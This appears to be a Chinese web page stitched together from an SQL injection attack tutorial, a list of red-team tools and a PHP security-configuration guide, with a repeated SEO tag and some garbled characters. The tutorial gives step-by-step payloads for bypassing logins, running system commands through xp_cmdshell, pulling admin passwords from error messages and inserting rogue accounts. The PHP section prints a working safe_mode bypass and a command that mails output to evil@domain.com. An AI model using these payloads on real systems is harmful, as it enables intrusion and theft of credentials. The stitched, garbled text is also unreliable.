矛头指向WEB服务攻击了。SQL注入攻击是WEB攻击类型中的一种,这种攻击没有什么特殊的要求,只需要

对方提供正常的HTTP服务,且不需要理会管理员是否是个“PATCH狂”。这类攻击主要是针对某种WEB处理

程序(如ASP,JSP,PHP,CGI等等)的而进行。

这篇文章不是在为阁下介绍什么新“玩意”,SQL注入攻击以前就一直广为流传着。我之所以现在才写这

篇文章是因为我想把我最近实验所得的某些经验与积累记录下来,希望能给予读者某些参考吧。你也可以

在“9.0我从哪里可以得到更多相关资料?”的栏目中找到更多其他人所写的、关于SQL注入技巧的相关资

料。

1.1什么是SQL注入?

这种攻击的要诀在于将SQL的查询/行为命令通过‘嵌入’的方式放入合法的HTTP提交请求中从而达到攻击

者的某种意图。现在很多的动态网页都会从该网页使用者的请求中得到某些参数,然后动态的构成SQL请

求发给数据库的。举个例子,当有某个用户需要通过网页上的用户登陆(用户身份验证)时,动态网页会将

该用户提交上来的用户名与密码加进SQL询问请求发给数据库,用于确认该用户提交的身份验证信息是否

有效。在SQL注入攻击的角度看来,这样可以使我们在发送SQL请求时通过修改用户名与/或密码值的‘领

域’区来达到攻击的目的。

1.2SQL注入需要什么(工具等)呢?

一个(些)网页浏览器。

2.0什么信息是你所需要找寻的呢?

首先你需要找到允许提交数据的页面,如:登陆页面、搜索页面、反馈页面、等等。有的时候,某些HTML

页面会通过POST命令将所需要的参数传递给其他的ASP页面。所以,有的时候你不会在URL路径中看到相关

的参数。尽管如此,你仍可以通过查看HTML的源代码中的"FORM"标签来辨别是否有参数传递,相关的代码

如下:

FORM action=Search/search.asp method=post

input type=hidden name=A value=C

/FORM

在FORM与/FORM的标签对间的每一个参数传递都有可能可以被利用(利用在攻击的情况下)着SQL注入。

2.1当你找不到有输入行为的页面时应该怎么办呢?

你可以找一些相关ASP、JSP、CGI或PHP这类型的页面。尝试找一些带有某些参数的特殊URL,如:

3.0你应该如何测试这些缺陷是否存在呢?

首先先加入某些特殊的字符标记,输入如:

hi' or 1=1--

寻找一些登陆页面,在其登陆ID与密码输入处,或URL中输入:

- Login: hi' or 1=1--

- Pass: hi' or 1=1--

- ' or 1=1--

如果想以‘隐藏’的方式进行此类测试,你可以把该HTML网页从网站上下载至本地硬盘,修改其隐藏部分

的值,如:

FORM action= method=post

input type=hidden name=A value="hi' or 1=1--"

/FORM

如果阁下是幸运的话估计现在已经可以不需要帐号与密码而‘成功登陆’了。

3.1为什么使用的是' or 1=1--呢?

让我们来看看其他例子中使用'or 1=1--的重要性吧。有别于正常的登陆方式,使用这样的登陆方式可能

可以得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打比方:

在上面这条URL中,'category'是一个变量名,而'food'是赋予该变量的值。为了做到这些(链接成功),

这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码):

v_cat = request("category")

sqlstr="SELECT * FROM product WHERE PCategory='" v_cat "'"

set rs=conn.execute(sqlstr)

正如我们所看到的,变量值将会预先处理然后赋值于'v_cat',也就是说该SQL语句将会变为:

SELECT * FROM product WHERE PCategory='food'

这个请求将会返回通过WHERE条件比较后得到的结果,在这个例子中也就是'food'了。现在设想一下如果

我们把该URL改成这样的话:

' or 1=1--

现在我们的变量v_cat的值就等同于"food' or 1=1--"了,现在如果我们要重新代入那条SQL请求的话,

那条SQL请求将会是:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否等于'food'。至于结尾

部分的那两条'--'(破折号)则用于‘告诉’MS SQL SERVER忽略结尾最后的那个'(单引号)。有的时候也

可以使用'#'(井号)来代替'--'(双破折号)在这里的用法。

无论如何,如果对方不是一台SQL服务器(这里指的是MS SQL SERVER),或者你不能使用简单的方法去忽

略最后的那个单引号的话,你可以尝试:

' or 'a'='a

这样的话整个SQL请求将会变为:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

它也会返回相同的结果。

根据实际情况,SQL注入请求是可以有多种动态变化的可能性的:

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

4.0如何在SQL注入请求中加入即时执行命令?

能够进行SQL注入的服务器通常都是一些疏于做系统性配置检查的机器,此时我们可以尝试使用SQL的命

令执行请求。默认的MS SQL服务器是运行在SYSTEM用户级别下的,这等同于系统管理员的执行与访问权

限。我们可以使用MS SQL SERVER的扩展储存过程(如master..xp_cmdshell等)来执行远程系统的某些命

令:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

若失败可以尝试一下使用"(双引号)代替'(单引号)。

上面例子中的第二个冒号代表一句SQL请求的结束(也代表了它后面紧跟着一条新SQL命令)。若要检验上

面这条PING命令是否成功,你可以在10.10.1.2这台机器上监听ICMP请求包,并确认它是否来自那台SQL

服务器就可以了:

#tcpdump icmp

如果你不能从那台SQL服务器中得到PING请求的话,并在SQL请求的返回值中得到错误信息的话,有可能

是因为该SQL服务器的管理员限制了WEB用户访问这些储存过程了。

5.0如何可以获取到我发的SQL请求的相关返回信息呢?

我们可以使用sp_makewebtask处理过程的相关请求写入URL:

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION

_SCHEMA.TABLES"

但先决条件是目标主机的文件夹“share”属性必须设置为“Everyone”。

6.0如何可以从数据库返回的ODBC错误信息得到某些重要的数据呢?

我们可以通过发送精心构造的SQL请求迫使MS SQL SERVER从返回的信息中透露出我们想得到的信息(如表

名、列名等)。比方有这么一个URL:

在上面的URL中我们可以尝试使用UNION子句的方式在整数'10'之后加入其他请求字符串进去的,如:

UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

上例中的系统表INFORMATION_SCHEMA.TABLES包括了这台服务器中所有表的信息。至于TABLE_NAME区域就

包括了每一个表的名称。我们之所以要选择这样写是因为我们知道它是一定存在的。换言之我们的SQL询

问请求就是:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

服务器接到请求数据后必将返回数据库的第一个表名。当我们使用UNION子句将请求字符串加入整数10之

后时,MS SQL SERVER会尝试转换该字符串为整数值。既然我们不能把字符串(nvarchar)转为整数型(int

)时,系统就会产生错误。服务器会显示如下错误信息:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '

table1' to a column of data type int.

/index.asp, line 5

非常好,这条错误信息告诉了我们转换出现错误的所有相关信息(包括我们想知道的表名)。在这个实例

中,我们知道了第一个表名是“table1”。若要得到下一个表名,我们可以发送这样的请求:

UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH

ERE TABLE_NAME NOT IN ('table1')--

我们也可以通过LIKE来找寻相关的特殊字:

UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH

ERE TABLE_NAME LIKE '%25login%25'--

输出得到:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '

admin_login' to a column of data type int.

/index.asp, line 5

6.1如何找出表中的列名?

我们可以利用另一个比较重要的表INFORMATION_SCHEMA.COLUMNS来罗列出一个表的所有列名:

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS

WHERE TABLE_NAME='admin_login'--

输出显示为:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '

login_id' to a column of data type int.

/index.asp, line 5

现在已经得到第一个列的名称了,我们还可以用NOT IN ()得到下一个列名:

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS

WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

输出得到:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '

login_name' to a column of data type int.

/index.asp, line 5

若继续重复这样的操作,我们将可以获得余下所有的列名,如"password"、"details"。当我们使用了下

面的请求后就可以得到(除了'login_id','login_name','password',details'之外的列名):

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS

WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password'

,details')--

输出后得到:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select lis

t if the statement contains a UNION operator.

/index.asp, line 5

6.2如何找到我们需要的数据?

现在我们需要鉴别出一些比较重要的表与列,我们可以用相同的技巧询问数据库从而得到相关的信息。

现在让我们问问"admin_login"表的第一个用户名是什么吧:

UNION SELECT TOP 1 login_name FROM admin_login--

输出:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '

neo' to a column of data type int.

/index.asp, line 5

知道了一个管理员帐号是"neo"。最后,问问这个管理员帐号的密码是什么吧:

UNION SELECT TOP 1 password FROM admin_login where login_name='

neo'--

输出:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '

m4trix' to a column of data type int.

/index.asp, line 5

现在我们可以用"neo"与他的密码("m4trix")来登陆系统了。

6.3如何获得数字串值?

在这里技术上表达的一种局限性。若要将数字(0-9之间的数字)转换为正常的文本数据的话,我们将无法

得到我们所需要的错误提示信息。举个例子,我们现在要尝试得到帐号为"trinity"的密码,而它所对应

的密码为"31173":

UNION SELECT TOP 1 password FROM admin_login where login_name='

trinity'--

这样我们大概只能得到“Page Not Found”这样的错误提示。这其中的主要问题在于,在与整数(这个例

子中为10)进行了合集(使用了UNION子句)以后这个密码"31173"将会被系统转换为数值。这样的话这个UN

ION字句调用就是‘合法’的了,SQL服务器将不会返回任何ODBC错误信息,因而我们是不可能得到这些

数字型数据的。

为了解决这个问题,我们可以为这些数据字符串加入一些字母表来确定转化过程是错误的。让我们试试

用下面的这条请求来代替原来的请求吧:

UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM

admin_login where login_name='trinity'--

在这里我们只不过是加入了一个(+)加号与其它我们想加入的字符进去而已(在ASCII中'+'等于0x2b)。我

们加入了一个(%20)空格与morpheus(随便一个字符串)进入实际的密码数据中。这样的话,即使我们得到

了数字串'31173',它也会变成'31173 morpheus'。

在执行了convert()函数后,系统会尝试将'31173 morpheus'转换为整数型,SQL服务器一定会返回这样

的ODBC错误信息:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '

31173 morpheus' to a column of data type int.

/index.asp, line 5

现在你可以知道'trinity'的密码是'31173'了吧。

7.0如何在数据库中更新/插入数据?

当成功地收集到表中所有的列后,我们就可以在表中UPDATE(升级/修改)原有的数据或者INSERT(加入)新

的数据。打个比方,我们要修改帐号"neo"的密码:

; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_na

me='neo'--

加入一条新的记录:

; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password

', 'details') VALUES (666,'neo2','newpas5','NA')--

现在我们就可以以帐号"neo2"、密码"newpas5"登陆系统了。

8.0如何避免被SQL注入攻击?

过滤一些特殊像单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符,过滤的对象包括:

-用户的输入

-提交的URL请求中的参数部分

-从cookie中得到的数据

至于数字值,将其转换为整数型之前必须有SQL语句声明,或者用ISNUMERIC确定它为一个整型数。

修改“Startup and run SQL Server”的用户运行级别为低级别。

删除一系列你不需要的储存过程,如:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

9.0我从哪里可以得到更多相关资料?

我们最初接触到SQL注入攻击是在Rain Forest Puppy有关他入侵PacketStorm的文章中提到的。

一篇收集了ODBC错误信息的好文章:

关于在SQL SERVER中进行SQL注入的好文章:

Senseport网站所著的关于SQL注入的文章:

其他相关文档:

红队最喜欢的18 种优秀的网络安全渗透工具

Bishop labs用了两期博客,前后各总结了9个红队工具,共计18个红队使用的优秀渗透工具,其博客文章也提及,这份清单不是决定性的,也仅用于参考。

创建者: @IAmMandatory

用途:允许 谷歌 Chrome 浏览器将受害者的浏览器变成测试代理。

优点: CursedChrome 可以很容易地在红队参与期间模拟恶意浏览器扩展。用来劫持 Chrome 浏览器,绕过大多数 2FA 或其他可能存在的安全保护,并利用 cookie 来访问任何基于网络的目标。 -phpstorm漏洞信息泄露

创建者: @symbolcrash1

用途: Universal Loader 是一个 Golang 库,可以跨多个平台(Linux、Windows 和 OSX)从内存中加载共享库,而无需CGO。

优点: Universal Loader 可以用在新的 Apple M1 芯片上,值得一提的是,这个 Golang 库没有使用 memfd,这使它成为第一个这样做的 Golang Linux 加载器。由于这两个原因,Universal Loader 是一个相当令人印象深刻的红队工具。 -phpstorm漏洞信息泄露

创建者: QSecure Labs

用途: Overlord 是一个基于 Python 的控制台命令行界面,用于自动化红队基础设施。

优点: 在红队参与期间能够根据需要快速启动安全基础设施非常重要,该工具可以节省大量时间,然后可以将这些时间用于进行一些实际的黑客攻击。

创作者: @LittleJoeTables和@rkervell

用途: Sliver是一个用 Golang 编写的跨平台通用植入框架。

优点: 这个工具是两位 Bishop Fox 研究人员的创意,所以我们的偏见可能会表现出来。类似于商业工具Cobalt Strike。使 Sliver 值得注意的是诸如使用每个二进制混淆的动态代码生成、多个和可扩展的出口协议以及支持多个操作员同时控制植入物等功能。此外,它易于使用且运行速度快。 -phpstorm漏洞信息泄露

创作者: @tillson_

用途: 使用 Githound 来定位暴露的 API 密钥和其他围绕 GitHub 浮动的敏感信息。该工具通过模式匹配、提交 历史 搜索和“独特的结果评分系统”工作。

优点: 像 Githound 这样的秘密窃取工具并不少见,但这并没有使这个工具(或其他类似工具)的价值降低。Githound 的一些可能用例包括检测暴露的客户 API 密钥以及员工 API 令牌。如果您进行漏洞赏金,此工具可用于添加书签 - 有些人报告说,由于它,因此获得了数千美元的赏金。 -phpstorm漏洞信息泄露

创作者: @browninfosecguy

用途: 这个工具的名字说明了一切,在 PowerShell 中轻松地为 Microsoft Active Directory 设置实验室。

优点: 速度很快,效果很好。可以使用此工具来确保您针对 Active Directory 使用的任何漏洞利用都已完善,然后再将其引入客户端环境。对于只想更轻松地测试 Active Directory 的渗透测试员来说非常有用。 -phpstorm漏洞信息泄露

创建者: Microsoft Azure 红队

用途: 可以使用 Stormspotter 更好地可视化 Azure 攻击面;此工具可帮助您绘制 Azure 和 Azure Active Directory 对象。

优点: 类似渗透测试工具BloodHound概念类似,只是该工具是为 Azure 环境设计的。对于任何蓝色或紫色团队成员来说,从防御的角度来看,Stormspotter 也非常有用。

创建者: @Void_Sec

用途: ECG 实际上是一种商业工具。该工具是静态源代码扫描器,能够分析和检测 TCL/ADP 源代码中真实和复杂的安全漏洞。

优点: ECG是一种强大的工具,可以填补令人惊讶的空白。正如 VoidSec 在他们的官方文章中所指出的,TCL代码相当普遍;所以能够彻底分析漏洞可能会非常有帮助。没有很多其他工具可以满足这种独特的需求,无论是商业的还是其他的。 -phpstorm漏洞信息泄露

创建者: @TryCatchHCF

用途: 可以使用 DumpsterFire 构建“时间触发的分布式”安全事件来测试红队进攻和蓝队防守。

优点: DumpsterFire 将传统桌面练习提升到一个新的水平,它还使用自动化来在参与期间有效地进行多任务处理(并避开一些更乏味的事情)。DumpsterFire 允许的定制程度令人印象深刻;可以真正定制模拟安全事件来满足独一无二的情况。 -phpstorm漏洞信息泄露

10.GhostPack

创建者: SpecterOps ( @SpecterOps )

用途: 借助强大的后开发工具集 GhostPack,可以做各种事情;可以攻击 KeePass 2.X 数据库、复制锁定的文件、篡改 Active Directory 证书等。

优点: GhostPack 是一种满足黑客需求的“一站式商店”。包含的 13 个工具包括非常有用的 Rubeus、Seatbelt 和 SharpUp。Rubeus 是一个 C# 工具集,直接与 Active Directory 环境中的 Kerberos 协议交互,允许直接与 Kerberos 属性(例如票证和常规身份验证)进行通信,然后可以利用这些属性在网络中移动。Seatbelt 是一个 C# 项目,可用于面向安全的主机“安全检查”,而 SharpUp 是一个 C# 工具,可识别本地权限提升路径。这些工具被无数红队和网络渗透测试员使用。 -phpstorm漏洞信息泄露

创作者: Benjamin Delpy ( @gentilkiwi )

用途: Mimikatz 可以从 Windows 环境中提取密码和其他凭据。是一种非常流行的渗透测试工具,已经存在了十多年。但 Mimikatz 会定期维护和更新,以确保仍然是最前沿的工具 -phpstorm漏洞信息泄露

优点: 将 Mimikatz 视为网络渗透测试的瑞士军刀。带有几个内置工具,对 Kerberoasting、密码转储很有用,你能想到的,Mimikatz 都可以做到。而且 Mimikatz 不仅适用于那里的进攻性安全专业人员——防御性安全团队也可以从中受益(如果你发现自己处于紫色团队场景中,这也是个好兆头)。 -phpstorm漏洞信息泄露

创建者: Metasploit 项目 ( @metasploit ),由 Rapid7 与开源社区合作运营

用途: Metasploit 可以说是世界领先的渗透测试框架,由 HD Moore 于 2003 年创建。Metasploit 包括用于渗透测试几乎每个阶段的模块,这有助于其普及。包括约 250 个后利用模块,可用于捕获击键、收集网络信息、显示操作系统环境变量等。 -phpstorm漏洞信息泄露

优点: Metasploit 后开发模块非常庞大,有一个模块最突出——Meterpreter 有效载荷。Meterpreter 允许 探索 目标系统并执行代码,并且由于它通过内存 DLL 注入工作,因此不必冒险留下任何操作证据。Metasploit 后开发功能也非常通用,具有适用于 Windows、Linux 和 OS X 的模块。 -phpstorm漏洞信息泄露

创作者: 阿德里安·沃尔默( @mr_mitm )

用途: 此后利用工具旨在绕过端点检测和应用程序阻止列表。

优点: 可以使用 PowerHub 传输文件,而不会在测试环境中发出任何安全保护警报,这将使下一次渗透测试更加顺畅和轻松。使用此工具领先于 Windows Defender。

创建者: LOLBAS 项目和亚利桑那州安全工程与研究小组

用途: LOLBAS 是一个字典,用于在 Windows 机器上使用二进制文件查找可能的权限提升路径。LLOLBAS 是与 LOLBAS 协同工作的摄取器。摄取器会在 Windows 机器上的 LOLBAS 列表中查找所有二进制文件,因此无需猜测或对列表进行排序以查找它们(这可能很乏味)。 -phpstorm漏洞信息泄露

优点: LOLBAS 项目可搜索机器上可能的权限提升路径,而 LLOLBAS 允许针对特定机器定制这些路径。结合这两个工具,(几乎)在参与中势不可挡。作为一个额外的好处,如果出现需要它们的情况,可以方便地使用离线工具。 -phpstorm漏洞信息泄露

创作者: @nil0x42

用途: PHPSploit 充当功能齐全的 C2 框架,通过单行 PHP 后门在 Web 服务器上静默地持久化。

优点: PHPSploit 是非安全参与时手头上的一项了不起的工具——高效、用户友好且运行安静。正如其 GitHub 描述所述,PHPSploit 是“由偏执狂,为偏执狂设计的”。

创作者: 塞瓦加斯

用途: 可以使用 swap_digger 在后期开发或取证期间自动进行 Linux 交换分析。

优点: 在 Linux 交换空间中可以找到各种各样的好东西,从密码和电子邮件地址到 GPG 私钥。Swap_digger 可以梳理这些交换空间并找到高影响力的奖杯,这将使评估更加成功。 -phpstorm漏洞信息泄露

创建者: RedCode 实验室

用途: Bashark 是一个后开发工具包,顾名思义,是用编程语言 Bash 编写的。这是一个可以产生巨大结果的简单脚本。

优点: Bashark 工作快速而隐蔽,允许通过创建 Bash 函数来添加新命令,并清除在目标环境中使用脚本后可能留下的任何痕迹。

创作者: AlessandroZ

用途: 使用 BeRoot 项目查找可用于在 Windows、Linux 和 OS X 环境中提升权限的常见错误配置。

优点: 识别常见的错误配置是在网络中立足的最可靠方法之一,因此找到这些错误配置的速度越快越好。BeRoot 项目在这方面提供了极大的帮助。

本文,旨在介绍一些红队工具,供大家了解和参考研究之用,不建议任何人利用网络技术从事非法工作,破坏他人计算机等行为。渗透有风险,入坑需谨慎。法网恢恢,疏而不漏。请正确理解渗透含义,正确利用渗透技术,做网络安全服务的践行者。 -phpstorm漏洞信息泄露

php安全配置 如何配置使其更安全

一、Web服务器安全

PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:-phpstorm漏洞信息泄露

[mail function]

; For Win32 only.

SMTP = localhost

; For Win32 only.

sendmail_from = me@localhost.com

都是针对Win32平台,所以需要在chroot环境下调整好sendmail。

二、PHP本身问题

1、远程溢出

PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高:

2、远程拒绝服务

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。

3、safe_mode绕过漏洞

还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:-phpstorm漏洞信息泄露

? mail("foo@bar,"foo","bar","",$bar); ?

执行如下的URL:

;/usr/bin/id|mail evil@domain.com

这将id执行的结果发送给evil@domain.com。

对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:

?

# 注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样

$script="/tmp/script123";

$cf="/tmp/cf123";

$fd = fopen($cf, "w");

fwrite($fd, "OQ/tmp

Sparse=0

R$*" . chr(9) . "$#local $@ $1 $: $1

Mlocal, P=/bin/sh, A=sh $script");

fclose($fd);

$fd = fopen($script, "w");

fwrite($fd, "rm -f $script $cf; ");

fwrite($fd, $cmd);

fclose($fd);

mail("nobody", "", "", "", "-C$cf");

?

还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。

三、PHP本身的安全配置

PHP的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride All或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。-phpstorm漏洞信息泄露

如果配置选项是唯一PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修改,它们修改的是PHP的Master值,但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选项是对该定义的目录下所有脚本生效。-phpstorm漏洞信息泄露

如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性:-phpstorm漏洞信息泄露

# grep PHP_INI_ /PHP_SRC/main/main.c

在讨论PHP安全配置之前,应该好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini:

safe_mode = On

或者修改httpd.conf,定义目录:

Directory /var/www

Options FollowSymLinks

php_admin_value safe_mode 1

/Directory

重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。

所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为:

?include("index.html")?

几个文件的属性如下:

# ls -la

total 13

drwxr-xr-x 2 root root 104 Jul 20 01:25 .

drwxr-xr-x 16 root root 384 Jul 18 12:02 ..

-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html

-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

在浏览器请求test.php会提示如下的错误信息:

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1-phpstorm漏洞信息泄露

如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。-phpstorm漏洞信息泄露

如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项:

safe_mode_gid = On

设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序,而且shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置:-phpstorm漏洞信息泄露

safe_mode_exec_dir = /usr/local/php/exec

然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。

safe_mode_include_dir string

当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。

从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路径,而不只是一个目录。

指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一个指定的目录,那么请在结尾加上一个斜线,例如:“safe_mode_include_dir = /dir/incl/”。-phpstorm漏洞信息泄露

safe_mode_allowed_env_vars string

设置某些环境变罧赡苁乔痹诘陌踩?笨凇1局噶畎??幸桓龆汉欧指舻那白毫斜怼T诎踩?J较拢?没е荒芨谋淠切┟?志哂性谡饫锾峁┑那白旱幕肪潮淞俊D?锨榭鱿拢?没е荒苌柚靡?PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。-phpstorm漏洞信息泄露

注: 如果本指令为空,PHP 将使用户可以修改任何环境变量!

safe_mode_protected_env_vars string

本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。

虽然safe_mode不是万能的(低版本的PHP可以绕过),但还是强烈建议打开安全模式,在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。-phpstorm漏洞信息泄露

讨论完safe_mode后,下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。

2、变量滥用

PHP默认register_globals = On,对于GET, POST, Cookie, Environment, Session的变罧梢灾苯幼⒉岢扇?直淞俊K?堑淖⒉崴承蚴荚ariables_order = "EGPCS"(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:-phpstorm漏洞信息泄露

?

//test_1.php

if ($pass == "hello")

$auth = 1;

if ($auth == 1)

echo "some important information";

else

echo "nothing";

?

攻击者只需用如下的请求就能绕过检查:

这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞

PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。-phpstorm漏洞信息泄露

解决方法:

配置文件php.ini设置register_globals = Off。

要求程序员对作为判断的变量在程序最开始初始化一个值。

3、文件打开

极易受攻击的代码片断:

?

//test_2.php

if (!($str = readfile("$filename"))) {

echo("Could not open file: $filenameBR\n");

exit;

}

else {

echo $str;

}

?

由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:

如下请求可以读php文件本身:

PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。

解决方法:

如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:

Directory /usr/local/apache/htdocs

php_admin_value open_basedir /usr/local/apache/htdocs

/Directory

重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:

Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免这种问题,前面已经讨论过了。

4、包含文件

极易受攻击的代码片断:

?

//test_3.php

if(file_exists($filename))

include("$filename");

?

这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:

如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,的内容是?passthru("ls /etc")?,那么如下的请求就可以在目标主机执行命令ls /etc:-phpstorm漏洞信息泄露

攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。

对于另外一种形式,如下代码片断:

?

//test_4.php

include("$lib/config.php");

?

攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:

PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。

解决方法:

要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。

